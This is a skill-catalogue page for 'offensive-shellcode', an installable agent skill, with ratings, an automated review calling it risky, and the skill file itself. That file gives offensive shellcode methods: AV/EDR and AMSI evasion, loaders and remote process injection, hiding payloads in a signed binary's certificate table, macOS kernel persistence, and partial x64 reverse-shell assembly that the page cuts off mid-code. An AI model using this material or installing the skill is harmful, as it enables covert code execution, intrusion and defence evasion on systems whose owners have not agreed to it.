SkillAgentSearch skills...

offensive-shellcode

Shellcode development reference for offensive security engagements

Install / Use

npx skills add SnailSploit/Claude-Red --skill offensive-shellcode

Installs into whichever agent you are using.

About this skill
📄

SKILL.md

Installable skill definition

Quality Score

92/100

Category

Security

Supported Platforms

Universal

Our assessment of offensive-shellcode

offensive-shellcode scores 92/100 on our quality scale, 389th of 1,108 Security skills we index (top 36%).

Its SKILL.md is 18 KB long, well organised into 33 sections with 3 code examples: a thorough specification that gives an agent plenty to work with.

With 6,850 GitHub stars, it is one of the more widely adopted skills in the catalogue.

Substance
30/30
Structure
18/20
Description
12/15
Adoption
16/20
Freshness
15/15

Maintenance, license and trust

  • The repository was last updated about 2 months ago, so offensive-shellcode is actively maintained.
  • Our last check on 2026-10-05 found the source still online.
  • It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
  • Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit — read the skill file before letting an agent act on it.

Safety scan

Review

Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review judged it risky (a second model did not confirm it as malicious): Provides a complete Windows x64 reverse-shell shellcode workflow that walks the PEB, resolves GetProcAddress/LoadLibraryA, connects to a hardcoded C2 IP/port, and spawns cmd.exe via CreateProcessA.

AI review: risky

  • Provides a complete Windows x64 reverse-shell shellcode workflow that walks the PEB, resolves GetProcAddress/LoadLibraryA, connects to a hardcoded C2 IP/port, and spawns cmd.exe via CreateProcessA.
  • Instructs active evasion and hiding techniques: bypassing AMSI heap scanning, using direct syscalls to evade EDR/userland hooks, remote process injection, and hiding shellcode in the PE Certificate Table to preserve a valid signature while
  • Includes cross-platform persistence/injection guidance such as Linux eBPF arena executable memory and macOS sealed-system-volume snapshot manipulation, all aimed at covertly executing unauthorized code.

AI review by kimi-k2.7-code with a second opinion from glm-5.3 on 2026-09-27. Automated pattern scan on 2026-09-26. It catches known dangerous patterns, not every risk — read a skill before letting an agent act on it.

offensive-shellcode compared with similar skills

All 4 of these similar skills score higher than offensive-shellcode; compare them before choosing.

SkillScoreStarsUpdatedFormat
offensive-shellcode (this skill)by SnailSploit926.8k58d agoSKILL.md
Agent-Reachby Panniantong100112.3k8d agoCLAUDE.md
headroomby headroomlabs-ai10079.8ktodayCLAUDE.md
Claude-Code-Game-Studiosby Donchitos10039.7k7d agoCLAUDE.md
Scraplingby D4Vinci100103.6k2d agoMCP Server

Frequently asked questions

How do I install offensive-shellcode?
Run npx skills add SnailSploit/Claude-Red --skill offensive-shellcode. The install tabs above show the steps for each supported agent.
Which AI agents does offensive-shellcode work with?
It is written for Universal, as a SKILL.md file. Other agents that read the same format can often use it too.
Is offensive-shellcode safe to use?
Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review judged it risky (a second model did not confirm it as malicious): Provides a complete Windows x64 reverse-shell shellcode workflow that walks the PEB, resolves GetProcAddress/LoadLibraryA, connects to a hardcoded C2 IP/port, and spawns cmd.exe via CreateProcessA. It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
Is offensive-shellcode still maintained?
The repository was last updated about 2 months ago, so offensive-shellcode is actively maintained.

name: offensive-shellcode description: "Shellcode development reference for offensive security engagements. Use when writing custom x86/x64 shellcode, implementing position-independent code (PIC), building shellcode loaders, evading AV/EDR detection, or converting PE files to shellcode. Covers null byte avoidance, API hashing, encoder/decoder patterns, staged vs stageless payloads, Windows PEB traversal, and cross-platform shellcode techniques."

Shellcode Development Workflow

  1. Define concept and target platform (x86/x64, Windows/Linux/macOS)
  2. Write assembly using position-independent techniques
  3. Extract binary and test in controlled environment
  4. Apply null byte avoidance and optimizations
  5. Encode/encrypt to evade static detection
  6. Package with loader and choose delivery method

Basic Concepts

Execution Pattern (Allocate-Write-Execute)

Avoid direct PAGE_EXECUTE_READWRITE — prefer:

  1. Allocate with PAGE_READWRITE
  2. Write shellcode to allocated region
  3. Call VirtualProtect to switch to PAGE_EXECUTE_READ
char *dest = VirtualAlloc(NULL, 0x1234, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
memcpy(dest, shellcode, 0x1234);
VirtualProtect(dest, 0x1234, PAGE_EXECUTE_READ, &old);
((void(*)())dest)();

Position-Independent Code (PIC) Techniques

| Method | Platform | Notes | |--------|----------|-------| | Call/Pop | Windows | Push next addr, pop into register | | FPU state | Windows | fstenv saves instruction pointer | | SEH | Windows | Exception handler stores EIP | | GOT | Linux | Global Offset Table | | VDSO | Linux | Kernel-provided shared object |


Windows API Resolution (PEB Walk)

Identifying kernel32.dll without imports:

  1. Get PEB via gs:[0x60] (x64) or fs:[0x30] (x86)
  2. Walk PEB->Ldr.InMemoryOrderModuleList — order: exe → ntdll → kernel32
  3. Hash-compare module names to locate kernel32
  4. Parse the Export Address Table (EAT)
  5. Find GetProcAddress by name hash, then resolve LoadLibraryA
  6. Use LoadLibraryA to load WS2_32.dll, resolve Winsock functions

WinDbg helpers for debugging PEB walk:

dt nt!_TEB -y ProcessEnvironmentBlock @$teb
dt nt!_PEB -y Ldr <peb_addr>
dt -r _PEB_LDR_DATA <ldr_addr>
dt _LDR_DATA_TABLE_ENTRY (<init_flink_addr> - 0x10)
lm m kernel32   # verify base address
r @r8           # check register

Shellcode Loaders

Loader Responsibilities

  • Environment verification / keying (sandbox detection)
  • Shellcode decryption
  • Safe memory allocation and injection
  • Ends its duties after injecting

Recommended languages: Zig (small, no runtime), Rust (secure), Nim, Go (watch for runtime signatures)

Allocation Phase

Avoid RWX allocations — use two-step:

  • VirtualAllocEx / NtAllocateVirtualMemory — allocate RW
  • ZwCreateSection + NtMapViewOfSection — alternative approach
  • After writing: VirtualProtectEx to switch to RX

Other options: code caves, stack/heap (with DEP disabled)

Write Phase

  • WriteProcessMemory / NtWriteVirtualMemory
  • memcpy to mapped section

Evasion tips:

  • Prepend shellcode with dummy opcodes
  • Split into chunks, write in randomized order
  • Add delays between writes

Execute Phase

Most scrutinized step — EDR checks thread start address against image-backed memory:

| Technique | Notes | |-----------|-------| | CreateRemoteThread / ZwCreateThreadEx | Loud, heavily monitored | | NtSetContextThread | Hijack suspended thread | | NtQueueApcThreadEx | APC injection | | API trampolines | Overwrite function prologue | | ThreadlessInject | No new threads created |

Indirect execution resources:


PE-to-Shellcode Conversion

| Tool | Purpose | |------|---------| | Donut | EXE/DLL → shellcode | | sRDI | DLL → position-independent shellcode | | Pe2shc | PE → shellcode | | Amber | Reflective PE packer |

Open-source loaders:

  • ScareCrow
  • NimPackt-v1
  • NullGate — indirect syscalls + junk-write sequencing
  • DripLoader — chunked RW writes + direct syscalls + JMP trampoline
  • ProtectMyTooling — chain multiple protections
  • Direct-syscall helpers: SysWhispers3, FreshyCalls (now baseline requirements)

Shellcode Storage & Hiding

| Location | Risk | Notes | |----------|------|-------| | Hardcoded in .text | Medium | Requires recompile; stored RW/RO | | PE Resources (RCDATA) | High | Most scanned by AV | | Extra PE section | Medium | Use second-to-last section | | Certificate Table | Low | Keeps signed PE signature intact | | Internet-hosted | Variable | SharpShooter |

Certificate Table technique (recommended):

  • Pad Certificate Table with shellcode bytes; update PE headers
  • Backdoor only the loader DLL (e.g., ffmpeg.dll in teams.exe)
  • Main executable signature remains valid; only the DLL signature breaks

Protection: Compress with LZMA; encrypt with XOR32, RC4, or AES before storing.

Windows 11 24H2 note: AMSI heap scanning is active. Allocate with PAGE_NOACCESS, decrypt in place, then switch to PAGE_EXECUTE_READ to avoid live-heap scans.


Evasion

Progressive Evasion Escalation

  1. Basic shellcode execution (baseline)
  2. Add XOR/AES encryption + obfuscation
  3. Direct syscalls to bypass userland hooks
  4. Remote process injection as last resort

Local vs Remote Injection

Remote injection is more detectable:

  • CFG / CIG enforcement
  • ETW Ti feeds
  • EDR call-stack back-tracing (NtOpenProcess invocation source)
  • More scrutinized steps: OpenProcess → Allocate → Write → Execute

Defender bypass tools (DefenderBypass):

  • myEncoder3.py — XOR-encrypt binary shellcode
  • InjectBasic.cpp — basic C++ injector
  • InjectCryptXOR.cpp — XOR decrypt + inject
  • InjectSyscall-LocalProcess.cpp — direct syscalls, no suspicious IAT entries
  • InjectSyscall-RemoteProcess.cpp — remote process injection via direct syscalls

Cross-Platform Considerations

Windows on ARM64 (WoA)

  • Syscalls use SVC 0 with ARM64 table in ntdll!KiServiceTableArm64
  • Pointer Authentication (PAC) signs LR — avoid stack pivots or re-sign with PACIASP

Linux 6.9+ (eBPF Arena)

  • BPF_MAP_TYPE_ARENA maps can hold executable memory
  • Hide shellcode chunks in arena map, execute via bpf_prog_run_pin_on_cpu

macOS (Signed System Volume)

  • macOS 12+ seals the system partition; unsigned payloads cannot reside there
  • Userspace: launch agents, dylib hijacks in /Library/Apple/System/Library/Dyld/
  • Kernel persistence: create sealed snapshot, mount RW, inject, resign with kmutil, bless

DripLoader Technique

github.com/xuanxuan0/DripLoader:

  1. Reserve 64KB chunks with NO_ACCESS
  2. Allocate 4KB RW chunks within that pool
  3. Write shellcode in chunks in randomized order
  4. Re-protect to RX
  5. Overwrite prologue of ntdll!RtlpWow64CtxFromAmd64 with JMP trampoline
  6. All calls via direct syscalls: NtAllocateVirtualMemory, NtWriteVirtualMemory, NtCreateThreadEx

Full x64 Reverse Shell Shellcode (Windows)

Complete Python/Keystone example implementing PEB walk → GetProcAddress → LoadLibraryA → Winsock connect → CreateProcessA(cmd.exe):

import ctypes, struct
from keystone import *

CODE = (
# Locate kernel32 Base Address
    " start:                         "
    "   add rsp, 0xfffffffffffffdf8 ;" # Avoid Null Byte and make some space
    " find_kernel32:                 "
    "   int3                        ;" # WinDbg breakpoint (disable for release)
    "   xor rcx, rcx                ;"
    "   mov rax, gs:[rcx + 0x60]    ;" # RAX = PEB
    "   mov rax, [rax + 0x18]       ;" # RAX = PEB->Ldr
    "   mov rsi, [rax + 0x20]       ;" # RSI = InMemoryOrderModuleList
    "   lodsq                       ;"
    "   xchg rax, rsi               ;"
    "   lodsq                       ;"
    "   mov rbx, [rax + 0x20]       ;" # RBX = kernel32 base
    "   mov r8, rbx                 ;"
# Parse Export Address Table
    "   mov ebx, [rbx+0x3C]         ;" # PE signature offset
    "   add rbx, r8                 ;" # RBX = PE header
    "   xor r12,r12                 ;"
    "   add r12, 0x88FFFFF          ;"
    "   shr r12, 0x14               ;"
    "   mov edx, [rbx+r12]          ;" # EAT RVA
    "   add rdx, r8                 ;" # RDX = EAT VA
    "   mov r10d, [rdx+0x14]        ;" # NumberOfFunctions
    "   xor r11, r11                ;"
    "   mov r11d, [rdx+0x20]        ;" # AddressOfNames RVA
    "   add r11, r8                 ;" # AddressOfNames VA
# Find GetProcAddress
    "   mov rcx, r10                ;"
    " k32findfunction:               "
    "   jecxz functionfound         ;"
    "   xor ebx,ebx                 ;"
    "   mov ebx, [r11+4+rcx*4]      ;" # Function name RVA
    "   add rbx, r8                 ;" # Function name VA
    "   dec rcx                     ;"
    "   mov rax, 0x41636f7250746547 ;" # 'GetProcA'
    "   cmp [rbx], rax              ;"
    "   jnz k32findfunction         ;"
# Get function address
    " functionfound:                 "
    "   xor r11, r11                ;"
    "   mov r11d, [rdx+0x24]        ;" # AddressOfNameOrdinals RVA
    "   add r11, r8                 ;"
    "   inc rcx                     ;"
    "   mov r13w, [r11+rcx*2]       ;" # Ordinal
    "   xor r11, r11                ;"
    "   mov r11d, [rdx+0x1c]        ;" # AddressOfFunctions RVA
    "   add r11, r8                 ;"
    "   mov eax, [r11+4+r13*4]      ;"
    "   add rax, r8                 ;" # GetProcAddress VA
    "   mov r14, rax                ;" # R14 = GetProcAddress
# Resolve LoadLibraryA
    "   mov rcx, 0x41797261         ;"
    "   push rcx                    ;"
    "   mov rcx, 0x7262694c64616f4c ;"
    "   push rcx                    ;" # 'LoadLibraryA'
    "   mov rdx, rsp                ;"
    "   mov rcx, r8                 ;" # kernel32 base
    "   sub rsp, 0x30               ;"
    "   call r14                    ;" # GetProcAddress(kernel32, LoadLibraryA)
    "   add rsp, 0x40               ;"
    "   mov rsi, rax                ;" # RSI = LoadLibraryA
# LoadLibrary("WS2_32.dll")
    "   xor rax, rax                ;"
    "   mov rax, 0x6C6C             ;"
    "   push rax                    ;"
    "   mov rax, 0x642E32335F325357 ;"
    "   push rax                    ;" # 'WS2_32.dll'
    "   mov rcx, rsp                ;"
    "   sub rsp, 0x30               ;"
    "   call rsi                    ;" # LoadLibraryA("WS2_32.dll")
    "   mov r15, rax                ;" # R15 = WS2_32 base
    "   add rsp, 0x40               ;"
# WSAStartup
    "   mov rax, 0x7075             ;"
    "   push rax                    ;"
    "   mov rax, 0x7472617453415357 ;"
    "   push rax                    ;" # 'WSAStartup'
    "   mov rdx, rsp                ;"
    "   mov rcx, r15                ;"
    "   sub rsp, 0x30               ;"
    "   call r14                    ;" # GetProcAddress(ws2_32, WSAStartup)
    "   add rsp, 0x40               ;"
    "   mov r12, rax                ;"
    "   xor rcx,rcx                 ;"
    "   mov cx,408                  ;"
    "   sub rsp,rcx                 ;"
    "   lea rdx,[rsp]               ;" # lpWSAData
    "   mov cx,514                  ;" # wVersionRequired = 2.2
    "   sub rsp,88                  ;"
   

Truncated for display — read the full file on GitHub.

Related Skills

View on GitHub
GitHub Stars6.8k
CategorySecurity
Updated1mo ago
Forks896

Languages

Python

Trust signals

100/100

From repository metadata: license, adoption, age and documentation. Not a code audit — see the Safety scan above for what the skill file itself contains.

No cautions